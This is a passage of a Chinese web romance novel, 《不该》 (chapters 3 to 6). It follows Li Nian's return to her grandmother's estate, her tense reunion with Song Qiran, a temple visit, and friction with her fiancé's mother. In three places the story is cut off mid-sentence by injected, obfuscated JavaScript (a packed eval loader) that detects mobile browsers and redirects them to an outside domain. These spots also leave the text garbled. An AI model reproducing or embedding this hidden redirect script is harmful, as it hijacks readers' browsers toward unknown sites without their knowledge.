《不该》 3. Chapter 3 煦园的历史可以追溯到项秀姝的上一辈。 传统园林最讲究意境,一步一景,一窗一世界,无论是海棠纹的花窗,鹅卵石的小径,还是前桂后榉簇拥下的六角亭,每一处都体现着追求极致的匠人精神。 到了项秀姝这一代,煦园已经经历过大大小小无数次翻新,在保留原有建筑特色的前提下,空间布局和内部装饰也重新做过调整。 黎念的行李都被送到了南院。 这是个带草坪的小院楼,和主楼隔着一个花园,地下是家庭酒窖,地上有三层,一楼改成了茶室,二楼是起居客厅和主卧,三楼还有一个卧房。 “念小姐,这是项老师让我送过来的。”常姨把香粉和篆香的工具都摆到了主卧,“房间都打扫过了,有需要的您再喊我。” “好,谢谢常姨。” 黎念环顾四周,暂时想不出还有什么缺的,常姨前脚刚要走,她又把人叫住:“南院是只有我一个人住吧?” “还有宋先生,他住在三楼。” 黎念轻攒起眉头:“他也住南院?” “宋先生来得临时,北院挨着他不太喜欢的水景,所以就住到这边。” 黎念默不作声,花了几秒时间定神,又问:“常姨,您知道他为什么突然搬到煦园来吗?” 项秀姝说他是为了修缮宅子来这里讨教取经的,可黎念不信这套说辞。 泛亚总部在写字楼林立的望江新城,一个高新区,一个老城区,中间横跨了半个颐州城,每天的通勤都是问题,遇到早晚高峰堵上一两个小时那是常事。 对宋祈然来说,他的时间应该是精细到以分钟来计算的,怎么可能这样浪费。 黎念的分析有理有据,而常姨的回答也证实了她的怀疑。 “天气一冷项老师的抵抗力就变差了,上个月得了场重感冒,到后面居然直接发展成肺炎,还在医院住了几天,宋先生不放心,为方便照顾就干脆搬了过来。” 常姨离开后,黎念坐在卧室发了好一会儿呆。 兄弟姐妹扎堆的年代,项秀姝只生了叶思婕这么一个女儿,黎铮出事后,叶思婕的身体状况也变得一团糟糕,苦苦支撑到黎念上了高中,最后还是撒手人寰。 项秀姝经常自嘲命硬福薄,亲人缘浅,老伴走得早,连女儿和外孙都要赶在她前头。 痛苦无法用语言表达,最难熬的那几年她只能靠着诵经度日,别说报忧,就连喜事都很少见她宣之于口。 黎念自小与她亲近,也能感受到每回匆忙见面后项秀姝的不舍和纠结。 外婆如今年事已高,黎念思来想去,觉得回颐州陪伴应该是最正确不过的决定了。 收完行李洗好澡,黎念依然没有睡意,她拎着一桶冰和一支起泡甜白去了起居客厅,地暖烘着,她干脆扯了张羊毛毯就地坐下。 带甜味的酒容易让人放松警惕,黎念喝得很快,那股劲冲上来的时候困意也一起袭来,怎么睡着的都不知道。 醒来时她发现脑袋底下多了个绵软的抱枕,可抱枕是从哪儿来的,她一点印象都没有。 这时,躺在茶几上的手机震动得欢乐无比,黎念裹上毛毯,走到露台接听电话。 “靓女,我发了那么多消息你怎么一条不回?” 冷空气激回一点神志,黎念拍了拍脸,应道:“多亏你送的那支Moscato,让我一顿好睡。” “不会吧,现在就这点本事?”手机开着公放,林佩珊的笑声很夸张,“这酒确实上头,不过散得也快,意大利私人酒庄来的,市面上那些品质差的都要甜到糖尿。” 黎念抱着胳膊,称赞道:“好喝,没有小支装吗?一次性喝不完很容易跑气啊。” 林佩珊惊讶:“你们两个人还喝不完?” “谁?” “能有谁?程隽咯。” 黎念挑眉:“知道他在你还夺命call,不怕坏我好事?” 林佩珊反应过来,连声说着抱歉,作势就要挂电话,黎念这才挑明自己是在开玩笑。 “他不在,我住我外婆家。” “犀利喔,这么能忍?” 林佩珊这通电话本就没什么要紧事,黎念也乐得慢慢闲扯,谈到工作安排的时候,她的话才多起来。 “我老豆早就转幕后了,晟和现在是黎蔓说了算的,集团大佬一句话能定我生死啊。” “你不是从小就怕你姐嘛,这叫血脉压制。”林佩珊调侃完又安慰,“她这回也算是仗义了,不是还替你在董事会作保了吗?” 黎念抬头望着黑漆漆的天,感慨道:“一个即将被放弃的酒店业务,她应该是抱着失败了也不可惜的心态才交给我的吧,看她那样子,估计也不相信我能力挽狂澜。” “那你有信心吗?” 黎念没有立刻回答,半晌过去居然说了句不知道。 明明留在香港能够拥有更多选择,是她自己偏要接下这个快散架的摊子,眼下如了愿,她却升起一种心落不到实处的浮躁感。 林佩珊又给她打鸡血:“唾手可得的成功没意思,有挑战才有成就感嘛,别怕,撑不下去就回香港啊,我养你。” “好啊。”黎念被她逗笑,“反正路是我自己选的,见招拆招吧。” 聊到后半段,林佩珊传来了几张宴会场地的布置图,这都是她在意大利参加婚礼时拍的照片,能给黎念的订婚仪式做个参考。 黎念倚着玻璃护栏,却没什么心思钻研订婚的事。 她挂掉电话,正考虑着是将剩下的半支酒封起来还是喝光的时候,右手边突然响起的男声吓得她差点丢掉一半的魂。 “不冷吗?” 露台很大,只有她这头开了灯,昏茫茫的一片,宋祈然又坐在不起眼的角落里,黎念没在第一时间发现他很正常。 可他隔了那么久才吱声,就是他的不厚道了。 黎念略带防备的眼神扫过去:“你什么时候坐在这里的?” 宋祈然一双长腿交叠靠着椅背,手里握着个宽口的玻璃杯,里头估计也是酒,小酌了一口才慢悠悠道:“你在客厅打呼的时候。” “……” 黎念轻嗤:“我打呼?你少血口喷人,我还没说你偷听我讲电话。” 宋祈然虽是颐州人,但他能听懂大部分粤语,这还是黎念从前逐字逐句教导的成果。 方才她和林佩珊说了不少荤素不忌的玩笑话,估计也被这人听了个一字不落。 “怎么这会儿不说‘您’了?” 两人中间隔了好几步,宋祈然那边的光线又暗,黎念看不清他的脸,但能感受到他声音里的揶揄。 这是拿饭桌上的事点她。 黎念才没什么好态度,抿着嘴不回应,打算视他为空气。 宋祈然勾了下唇,也没有继续拌嘴的意思,提醒道:“穿这么少小心着凉,进去加件衣服再出来。” 黎念顺着他的目光向下,盯着自己脚上那双白色的毛绒拖鞋。 她是临时出来的,连袜子都没穿,脚踝被冻得微红。 “我本来就打算进去了。” 黎念无意在此久留,扯着肩上的毯子就要走,宋祈然却喊了句等等。 “干什么?” 宋祈然掏出手机晃了晃:“加个联系方式?” 黎念不太情愿:“有事?” “介绍淮恩公馆的业主给你认识。” “那你把对方的电话号码报给我就行了。” 宋祈然放下酒杯,不疾不徐道:“我这朋友话少又慢热,不太好相处,还是拉个群吧,方便交流。” 一劳永逸,这确实是黎念拒绝不了的理由。 宋祈然颇有耐心地等待,最后看着黎念一步步靠近,有些不情不愿地点开二维码将手机递了过来。 “滴”地一声,微信好友添加成功。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453786|185277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“可以了吗?” 黎念算是悟出了面无表情的精髓,并将其贯彻到底。 宋祈然熄了屏将手机扣在桌面上,似乎一点都不介意她时时刻刻掺着冷漠和暗刺的态度,依然好声好气:“可以了,进去吧。” 黎念毫不犹豫地转了身。 离开前,她的余光瞥见桌上还有一根正在燃烧的雪茄。 天寒地冻,雪茄配酒,也不知他一个人在室外吹了多长时间的冷风。 黎念腹诽,男人果真是种不分年纪都要装十三的生物。 …… 隔天黎念起了个大早,梳洗完就开始挑衣服,临出门了,却在换鞋子这个步骤犯了难。 枫安寺的规模很大,又是依山而建,有些地势高的佛殿需要徒步抵达,带跟的鞋子显然不太合适。 可黎念应下了程家今晚的饭局,这一身打扮配上小羊皮的高跟靴才是最好看的。 纠结之际,院子里传来项秀姝的催促声,黎念没空犹豫,踩上一双平底鞋,又拎起羊皮靴,风风火火出了门。 祖孙一行三人,开的是宋祈然的车子,他没安排司机,自己坐在前面当驾驶员,黎念和项秀姝则依偎在后排,有一搭没一搭地聊着。 “念念,怎么还多拿了一双鞋?” 黎念踢了踢脚边的靴子:“这双好看,但是拜佛太累,等结束了我再换。” “也是,搭你这身衣服。”项秀姝替她打理着披肩长发,“头发还和小时候一样又细又软,这卷的也好看,自己弄的?” “对呀。” “你今晚要去阿隽家吃饭吧,礼物我都给你放在后备箱了,走的时候别忘记拿,咱们的礼数要尽到。” “您这么贴心给我准备了呀?那我也省下了好多麻烦,谢谢阿婆。” 黎念是个脸上藏不住事的人,从小到大都是这样,她的喜恶都表现在语气神态里,作不得半点假。 就像她此刻的谄媚是真的谄媚,说话甜笑得也很甜。 气氛和乐,宋祈然分心望了眼车内后视镜,看到黎念撒娇时唇边漾起的浅浅酒窝,以及项秀姝那副佯装招架不住,实则十分享受的模样。 笑够了,黎念才想起一件事:“阿婆,我那辆车怎么不见了?” 订车的时候黎念人还在国外,车子等了两年才交付,到手后停在煦园几乎没有动过。 那会儿她还同时做着回颐州的准备,谁知过程不太顺利,一拖就拖到现在。 “送去做保养了,今天下午应该能送回来。” 接话的是宋祈然。 雪后迎来晴空万里,阳光有些刺目,他单手推了推架在鼻梁上的墨镜,目不转睛地盯着前方。 项秀姝解释道:“车子长时间不开的话还是要做做保养的,我想着你回来肯定得用,就让祈然帮忙处理了。” 黎念翻了翻信息栏,果然找到一条被她错过的服务短信。 上了高架车子也开始加速,放眼望去,左右两边都是拔地而起的新楼,项秀姝念叨着颐州的发展太迅速,简直是一天一变,黎念专心听着,视线却默默飘向主驾。 不同于昨天的严肃打扮,宋祈然今天这身高领毛衣和皮夹克的搭配让他看起来更年轻,也让黎念回忆起他以前的样子。 那时的宋祈然有两副面孔,在长辈面前永远是谦和有礼,稳重可靠的形象,但黎念见识过他的桀骜不驯,肆意张扬,像一团野蛮生长的烈火,也带着她一起燃烧过。 可过去终归是过去,他如今是什么模样,变了多少,黎念一概不知,也无从探究。 “念念,在想什么呢?” 项秀姝的声音扯回黎念的思绪,她偏头望向窗外,托着下巴开始感慨。 “没什么,只是觉得我不在的这些年里,颐州变化太大,太陌生了。” “那就多走走多看看,总能重新熟悉起来的。” 黎念浅笑一下,视线飘远。 4.Chapter 4 程隽就在枫安寺门口等着。 准备进寺的香客排成了长队,他一身黑衣黑裤站在角落,形单影只,好在个子够高,黎念一眼就发现了他。 项秀姝拍拍黎念还未松开的手:“我走得慢,祈然会陪我的,你和阿隽先进去,我们稍后跟上。” 黎念转头望着宋祈然,后者刚摘下墨镜,可能是为了适应光线,那双狭长的眸子微微眯起,连带着眉心也跟着一凛。 她叮嘱道:“那你牵好阿婆。” “嗯。” 宋祈然点了下头,目送她朝着程隽那个方向奔去。 作为远近闻名的百年古刹,枫安寺香火鼎盛,迎接八方信众,临近年关,携家带口的人多了起来,殿前广场的香炉也是夸张的烟熏火燎。 黎念按规矩先对着大殿拜了几拜,想在炉子里插香却发现无从下手。 香灰不断掉落,程隽看得心惊胆战:“小心烫手。” 好不容易找到一处空隙,黎念的动作又快又准,她不禁感叹:“年前就这样了,到正月里菩萨怕是要忙不过来。” 程隽拉着她退到人少的阴凉处,仰头望了望澄碧如洗的天空,问道:“你之前说的枫湖古村就在这附近吗?” “对。”黎念给他指了个方向,“步行十几分钟就能到,边上还有个感念寺,但规模没有枫安寺这么大,往西走不到八百米还有个枫湖林场。” 程隽又添了一句:“往南走就是夜阑居。” 黎念笑:“终于搞清楚方向了?你一个土生土长的颐州人怎么还没有我认路啊。” “我很少来这边,了解得不比你多。”程隽解释,“枫湖古村我当然听说过,但村子整体搬迁后那块地方就没有人烟了,荒废太久,哪怕是挨着枫安寺也没什么知名度。” “对,古村里头都是茶农茶商的私人宅子,祖上就建在这里的,最老的那一批都有百年历史了,保存得很完整,很有韵味,后来也是因为种茶产业整体升级需要挪换地方,这些村舍才空置出来的。” “一共几间?” “四十六间。” 程隽微讶:“这么大的工程量,你们是一口气接手的?” “当然。”黎念觉得热,解了脖子上的围巾,“整体开发整体改造,用传统工艺修缮,最大程度保留原有建筑的风貌。” 这个提案曾被董事会否决过几次,体量大也意味着风险高,集团本就对酒店业务失去信心,黎念能坚持下来着实耗费了不少心力。 程隽笑:“这酒店听起来挺有意思,但从专业角度来看的话,修旧物可能比盖新楼还要麻烦。” “知道你没那么感兴趣,所以我不找你做这个Case。”黎念瞟他一眼,“我要跟程伯伯聊,他今晚在家吗?” “他去吉隆坡了,年后才回来。” 黎念露出一副惋惜表情,程隽揉揉她的头顶,替她捡起蹭到地面的围巾。 不远处的项秀姝见到这一幕,忽朝着身旁的宋祈然问了一句:“你觉得阿隽这人怎么样,和念念般配吗?” 宋祈然搀着老太太,注意力都在脚下,闻言他才抬眸,不那么走心地将目光掠过去。 那两人并肩站在树底下,黎念可能是怕热,摘了围巾还想脱外套,程隽很自觉地伸手接过来,连同自己的衣物一起搭在臂弯里,动作默契又流畅。 “没有深入接触过,我也不好评价,但能在一起三年,至少说明他的脾气还可以。”这是宋祈然的结论。 项秀姝有些意外地抬了抬眉:“这话你敢当着念念的面说吗?” 这是明晃晃地说黎念不好伺候。 宋祈然偏头和项秀姝对上目光,祖孙俩相视一笑。 四人汇合后依着顺序上了香,项秀姝此行还需要还愿,她打过招呼便跟着僧人去了别处,程隽临时接到工作电话,也拿着手机走开了。 于是黎念的身旁莫名只剩下一个宋祈然。 单独相处时气氛又变得很微妙,黎念不愿主动找话题,沉默地定在原地似乎在观察眼前的人来人往,其实心思早已和线香冒出来的烟一样飘渺了。 这处佛殿里外都异常热闹,放眼望去有好些是领着孩子的家长,他们几乎人手准备了一对蜡烛,将供桌围得水泄不通。 也有避让不及被人撞到的时候,黎念吃痛皱眉。 忙乱之中,她的小臂被一股强劲力量扣住,紧接着一道高大身影替她挡住了来往拥挤,隔出一丝喘息空间。 “怎么跟木头一样愣着当站桩,过来点。” 宋祈然领着她穿出人群,避到了角落。 偏处人少,他很快松开了手,黎念抚着那只手臂,觉得上面似乎还有力道残留。 此时有路过的孩子问自己妈妈:“这是什么神仙,灵不灵啊?” 只听家长低声训斥道:“别乱说话,这拜的是文殊菩萨,保佑你学习进步天天向上的。” 等那母子俩走远,黎念抬起了头,佛像巍峨高大,站在侧面也能感受到庄严肃穆的气息。 她忽然想起自己以前和宋祈然来过这里。 那是升高中前的暑假,烈日炎炎,来枫安寺上香的人络绎不绝,黎念想为接下来的高中生涯做祈祷,宋祈然是被她拽过来做陪同的。 “哥,我这三柱香是不是少了点?” “心诚则灵。”宋祈然替黎念拿着遮阳帽,小臂上还挂着她的书包,“别忘了自报家门,佛祖很忙的,免得到时候找不到你。” 黎念笑了笑,许愿的姿势很虔诚,天气闷热,宋祈然看见她额前和鼻尖冒出的细汗,等到上香结束就给她递去了纸巾。 黎念擦着汗,眼珠子乌亮:“我看到正门口有卖冰淇淋的。” 宋祈然立刻明白她的意思,随手将遮阳帽扣到她头顶上,扬眉道:“上次是谁因为生理期肚子痛到打滚的?好了伤疤忘了疼。” “那是偶发情况,现在都好了,不影响的。”黎念扯扯他的衣袖,一副很讲道理的模样,“我请客,怎么样?” 最后还是宋祈然妥协给她买了冰淇淋。 奶油化得快,顺着脆筒流到黎念的手指上,十分黏腻,不巧的是纸巾已经在擦汗时用完了,于是宋祈然想也没想就让她蹭在自己的衣服上。 黎念犹豫:“会弄脏的啊,你等会儿不是还要跟朋友打球吗?” 宋祈然丝毫不在意,直接扯起衣角替她擦手:“没事,反正都要洗。” 冰淇淋是抹茶味的,白色布料上的污渍印记黎念至今都记得很清楚。 兜里震动的手机让她从往事中抽离出来,是程隽的来电,问她是不是还在刚才的地方等。 挂了电话黎念才发现宋祈然也在通话中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457132|185277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高大身影背对着她,肩膀还是一样宽阔,但无论是穿衣风格还是说一不二的强势气场,都和那个夏日里给她擦手的哥哥大相径庭了。 “你下午要回家吗?”宋祈然收起手机转身问。 “不回了,我坐程隽的车走。” 宋祈然点点头:“行,那我先把阿婆送回去。” 从刚才的只言片语里黎念得知他等会儿还要去公司,于是提议:“要不还是我们送吧,反正有时间。” “没事,我顺路。” 黎念“哦”了一声。 隔了半晌,宋祈然又问:“晚上回来?” 黎念一愣,对上那双幽邃的眼睛,反问:“不然呢?” 程隽就是在这时出现的,他没听到那两人的对话,环顾四周:“阿婆那边还没好吗?” “我去看看。” 宋祈然说完就离开了。 程隽把外套披到黎念的肩上,顺口问:“你们刚刚在聊什么?” “没什么。”黎念穿好衣服,低头整了整领子,“走吧,我们再去逛逛。” 待项秀姝办好事情,这趟枫安寺之行就算是结束了,四人往出口走的时候,黎念的注意力立马被一处临时搭建的遮阳棚吸引。 棚底下人头攒动,纸箱堆得有一米多高。 工作人员正不停从箱子里取出最近寺里卖到脱销的祈福手串,不同颜色的珠子有不同寓意,万事皆可求。 购买队伍望不到头,受欢迎的程度可见一斑。 “你想要吗?”程隽问。 黎念迟疑:“可是要排好长的队……” 走在前面的项秀姝和宋祈然也停下了脚步。 程隽朝那珠子望了几眼,劝道:“这么便宜的价格料子肯定不好,到时候我给你找一串上乘的碧玺,绝对比这个好看。” 黎念何尝不懂,只是觉得意义不一样,她也并非是为了一串珠子,不过想满足当下的兴致罢了。 被程隽这么一说她顿时就没了心情,想想还是作罢,收起视线:“嗯,走吧。” 到了停车场,项秀姝让程隽把车子开过来,接着给黎念详细说明那一摞摞礼品的用处,哪些是给程隽父亲的,哪些是给程隽母亲的,交代得事无巨细。 搬东西的时候黎念才发现宋祈然不见了踪影,等他再出现,几人已经把东西全都挪到了程隽车上。 “念念,你过来,这个参我忘记跟你说了,功效不一样。” 项秀姝又把黎念唤了过去,宋祈然抄兜倚着车门,朝他们那个方向看了几眼,然后坐进主驾启动车子。 过了一会儿后排车门打开,是黎念把项秀姝扶了进来。 她指着座位上的包:“阿婆,那个递给我。” 项秀姝拿了包又拿鞋,玩笑道:“公主请换鞋。” 黎念被逗笑了:“阿婆是冲浪高手啊,什么梗都知道。” 换好靴子,她把平底鞋放回车里。 “那我走了啊。” “去吧。”项秀姝挥挥手。 目送宋祈然的车子离开,黎念和程隽也坐进了车里。 扣好安全带,黎念还想继续补个妆,她在包里翻找口红,居然翻出一个从未见过的素色布袋,角落还绣着枫安寺的字样。 她觉得奇怪,打开布袋一瞧,里头正是她想要的祈福手串。 5.Chapter 5 程家车库大门打开的那会儿,程隽的母亲谭美珍也恰好结束午休。 程仕繁不在,上桌司茶的人变成了她。奈何手艺不精,热水倒得又急又满,端起茶海后还差点手滑摔了杯子。 “您小心。” 黎念的目光从右侧墙壁挂着的那幅油画上收回来,专注盯着谭美珍倒茶的动作,比起弄翻茶盏,她更担心谭美珍那件真丝睡袍的袖子浸到茶汤里去。 “没事。”谭美珍摸了摸手,细眉一挑,“我泡茶的功夫不怎么样,但这茶叶绝对是好的,是从阿隽他爸爸的茶柜里拿出来的,你试试。” 黎念抿了一口,点点头:“确实很香,入口还有回甘。” 闲聊几句,谭美珍见她似乎对墙上的画很感兴趣,于是起了话头:“也不知这阿隽哪里来的兴致,突然对艺术品投资着了迷,家里这些画全是他弄回来的,跟我这儿的装修风格也不搭,你们找个空闲时间,能搬的都搬到你们新家那边去吧。” 黎念有片刻错愕,这事还真没听程隽提起过。 其实她也是回了颐州才知道程隽在投资画廊,单从这些拍卖画的数量来看,他这股劲头绝对不是一天两天的事。 “确实有挺多人往这方面做投资的,找些自己看得上眼的,潜力大的年轻画家,趁着低价购入他们的作品,要是看中的画家未来发展得好,增值空间也会成倍增长。” “押宝嘛,我懂。”谭美珍摩挲着手上那枚满绿蛋面的翡翠戒指,皱了皱眉,“艺术品市场这两年也不太稳定,风险总归是大的,还不如做点珠宝投资了,你说是不是?” 程隽一下楼就听见她们的对话,他换了身衣服,铅灰色的羊绒衫衬得整个人清雅温和。 “聊什么呢?” “聊你那些占地方的画。”谭美珍也给他斟上一杯茶,“你们房子收拾得怎么样了?” 桌上还摆着果盘点心,程隽挑了颗黄澄澄的蜜桔,剥好皮才放到黎念面前。 他应道:“差不多了,还剩些软装部分。” “刚装修完的房子不好直接搬进去的,记得常通风。”谭美珍呷了口茶,忽然话锋一转,“我早说过了,家里有这么多房间,你们婚后可以随便住随便挑的,就是你们小年轻现在都讲究什么空间了自由了,不愿意和我们大人一起住。” 程隽也顺着她的话:“结婚不就是组建自己的小家庭吗,怎么好意思挤在一起给你们添麻烦。” “拉倒,我讲不过你。”谭美珍白他一眼,又将目光落在默不作声的黎念身上,“念念。” “嗯?” 黎念抬眸,还往嘴里送了一瓣橘子,看那表情和反应,似乎并没有将他们讨论的话题放在心上。 “我听阿隽说,你们打算把订婚仪式放在淮恩公馆举行?” 黎念点头:“对。” 谭美珍沉默一瞬,似乎在组织语言。 “淮恩公馆确实不错,老洋房嘛也有腔调的,但我仔细想了一下,是不是放在酒店办更合适?” 见黎念没有反驳,她继续道:“你看噢,咱们两边都是体面家庭,到时候来的客人肯定也是些有头有脸的人物,我不是说公馆不好啊,主要是场地有限,而且餐食什么的肯定要请外包团队吧,大型宴会绝对是酒店专业。” “阿姨,程隽没告诉您吗?”黎念将疑惑目光转移到男友身上,“订婚宴我们只打算邀请家人和关系亲近的朋友,没听说有什么特别来宾呀。” “他告诉我了。”生怕黎念错怪儿子,谭美珍立刻接话,“可是该请的人还是要请的,我有几个老姐妹好些年没见了,她们都说要趁着阿隽这桩喜事回国见见我,人家远道而来,咱们排面必须给足吧。” 程隽刚想开口,却被黎念抢先,她语气柔和,不紧不慢:“明白您的意思,但我们想着订婚宴最好是小型私密,可以方便自己人交流,促进一下感情,您的朋友要是想来当然可以来,至于排场这些,完全可以留到正式婚礼,也好保持新鲜感,您觉得呢?” 黎念的表情很诚恳,谭美珍细听却觉得那有商有量的态度里还夹杂着一丝不容置辩,她悬起的嘴角慢慢平了下来:“这件事……你们家那边是什么想法?” 黎念的笑容浮上来:“他们倒没有什么特别要求,让我和阿隽自己看着办就行。” 谭美珍一时间无言以对。 程隽不是迟钝的人,对他来说,两边都不容易伺候,只要讲错一句话就是两头不讨好,眼见着气氛沉滞下来,他连忙转移话题打圆场。 而从黎念的角度出发,她也有很多无奈。 都说婆媳关系是这世界上最难处理的关系,她和谭美珍的每次碰面都像暗流涌动的“无声交锋”,一个看似开明大度,实则万事都要干涉的长辈,真正相处起来并不轻松。 黎念不喜欢把时间浪费在处理人际关系上面,但世间没有双全法,她既然要和程隽结婚,那父母这一关就肯定绕不过去。 对此黎念也渐渐摸索出一些应对的门道,该顺意的时候顺意,该强硬的时候必须强硬,当然最好的办法还是减少接触,或者直接把难题丢给程隽。 晚饭开始前,谭美珍找了个借口把程隽喊到厨房,开始盘问:“我听说黎念那个同父异母的大姐,前段时间离婚了?” 程隽叹气:“您哪里得来的消息,怎么比狗仔媒体还要八卦?” 谭美珍拍他一掌:“我问正经的。” “是,拖了两年,前不久了结的。” 谭美珍“啧”了一声:“怎么偏挑这个时候,妹妹马上要成家了,姐姐居然离婚了,这说出去多不好听啊……” 程隽想走,却被拽住。 “我还听说她前姐夫是净身出户的,她姐挺有本事的哈。”谭美珍忧心忡忡,话里有话,“要我说黎念就是年纪小没经验,一点都不会打算,晟和集团在内地有那么多产业,她怎么只盯着酒店啊,好歹要个映和汇这样的高端商场吧,你说她姐是不是防着她……” “妈。”程隽打断她的话,“人家姐妹感情挺好的,不要道听途说。” “都不是一个妈生的,能一样吗?”谭美珍激动起来,“对了,她是不是还有个没血缘关系的哥?” “走吧,太饿了。” 程隽不想接着聊,推着人就往厨房外面走。 谭美珍啐道:“我看你也不顶用,等着一辈子被你媳妇拿捏吧。” 饭桌上,谭美珍倒是没有再提订婚场地的事。 距离除夕还剩下不到一周的时间,她眉飞色舞地讲起了年后打算,说是正月初一要带着黎念和程隽一起回她的娘家老家拜年,听那话里话外的意思,此行是早就计划好的,非去不可。 黎念全程不动声色,直到饭局结束道完别,和程隽一前一后来到庭院时,她憋着的这口气才终于释放出来。 “我怎么不知道大年初一还要去你妈妈的老家?” 程隽也十分头疼:“她这个人就这样,总想一出是一出,我也是刚刚饭桌上知道的。” 黎念猜想订婚宴的事也是谭美珍的脑热提议,心里有些不快:“所以呢,非得每件事都临时通知吗,让我推掉所有安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463275|185277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 排来迁就你们?” “没那么严重,她也是好意,想带你见见亲戚,认个脸熟。” “那可以提前跟我商量啊,而不是用这种方式。”黎念也不绕弯子,直截了当地告诉程隽,“年后我肯定没空,我要陪阿婆去泽阳见她的老朋友,这是早就答应了的。” “初一就去?” “对。” 程隽只能妥协,黎念再次提醒:“你妈妈那边要怎么解释你自己看着办,什么借口都好,反正我刚才也没表态。” “行。” 黎念没什么话要讲了,她拿起手机点开打车软件,程隽见状说道:“这么晚了,我送你回去。” “没事,打车方便,省得你两头跑。” “念念。”程隽的声音掺着无奈,沉了下来,“不要赌气,行吗?” 黎念烦躁依旧,斜他一眼:“我怎么就赌气了?” 眼见气氛越来越糟糕,好在这个节骨眼上家政阿姨寻了过来,脚步和语气皆是匆匆:“黎小姐,门口有辆车子等好久了,说是你家里来接你的。” “接我?” “对。” 想是项秀姝特意派了司机来接人,黎念没有犹豫,抬步就走,走到门口她却傻了眼。 只见一辆锃亮的黑色迈巴赫笔直挡在程家门前,司机下车朝她颔首:“黎小姐。” 车牌是陌生的,黎念也压根没见过这位司机,疑惑涌上心头的同时,后座车门打开了。 不怎么明亮的光线下,被平整西裤包裹的长腿先迈了出来,男人弯腰探身,复又挺直脊背,扯了扯西装衣摆站定后,那双略显冷感的眼眸才望过来。 跟出来的程隽先看清来人:“大哥?” “晚上好。”宋祈然微一点头,视线慢慢偏向黎念,“我来接她回家。” 和白天在寺里的打扮不一样,这人又披上了精英外皮,黎念盲猜他是直接从公司过来的,默默感慨互联网行业果然不同凡响,就连老板都要熬到这个点。 可上车之后黎念又觉得宋祈然不太对劲。 “你喝酒了?” “这么明显吗?”宋祈然放松姿态靠着椅背,薄薄的眼皮轻掀,“是喝了点,刚结束应酬。” 难怪,看来空气中丝丝缥缈的酒气并不是黎念的幻觉,她问:“那干嘛不直接回家?” “我跟阿婆通过电话,她说你还没回来,正好我顺路。” 那就是顺带捎上她的,黎念漫不经心地“哦”了一声。 车速平缓,温度适宜,音量恰好的钢琴乐优雅又静心,这应当是两人重逢以来相处最为和谐的时刻。 偏偏被宋祈然一记短促的笑声煞了风景。 黎念不解,只当这人是喝醉了酒发错神经,谁知下一秒宋祈然就打破平静。 “和男朋友吵架了?” 他几乎是笃定的语气,黎念不知道自己哪里露了馅,她偏眸,正好迎上宋祈然的目光。 哪怕在昏暗环境里,在彼此五官都模糊难辨的情况下,他也拥有一眼看穿她的本事。 “说来听听?” 黎念突然升起一股被戳穿的气急败坏之感,扭头低声警告:“你现在最好别跟我讲话。” 可惜这话落到宋祈然的耳里还是差了一截气势,听着没什么威慑力,像一只牙没长齐就学会哈气吓人的猫。 但他还是配合的,不说话就不说话,闭上眼睛继续假寐就是了。 黎念也不知道自己想确认什么,她的余光从那张轮廓立体的侧脸扫过,总感觉男人嘴角的笑意未消。 6.Chapter 6 临近春节,日子过得越来越快。 青山弄这一带的年味十足,煦园里外都挂上了喜庆红艳的灯笼,年宵花和对联也换了新,除夕这天早上,黎念还陪着项秀姝一起将主厅好好布置了一番。 “大功告成。”黎念举着手机拍照,似乎对自己亲手剪的窗花很是满意。 项秀姝笑:“行了,洗洗手去吃饭吧。” 后院生了炭火,黎念隐约闻到烤红薯的香味,到了餐桌上一看,果真有热气腾腾的蜜薯等着她,伸手就想拿。 “先晾一晾。”项秀姝怕她烫着,“想吃多少有多少,让农庄送过来的,还有一只羊,下午可以烤羊排了。” 黎念惊讶:“一整只啊,家里就三个人,吃得完吗?” “给街坊分了点,没问题。” 说起三个人,黎念发觉宋祈然到现在都没现身,就在她以为工作狂狠到连除夕都要加班的时候,这人慢慢悠悠来了餐厅。 “早。” 宋祈然打完招呼,顺手拉开黎念身旁的椅子。 因为挨得近,他身上清爽的浴液香气让人难以忽略,黎念扫了一眼,见他头发吹得半干,没有刻意打理,连带着明锐的五官也跟着柔和了几分。 但他的模样又不能简单地用松弛来形容,起码他那件家居服的衣领熨贴得没有一丝褶皱。 黎念反观自己,她这身胭脂红的毛衣还是为了迎新应景准备的,一头轻盈的大波浪卷发更是让她在房间里足足耗费了半个小时。 此刻两人并肩坐着,从头到尾都散发着一种不同频的矛盾感。 “难得见你睡到这个点,平时那么忙,是要趁着假期好好补觉。”项秀姝给宋祈然倒了杯现煮咖啡,“来,醒醒神吃早饭吧。” “谢谢阿婆。” 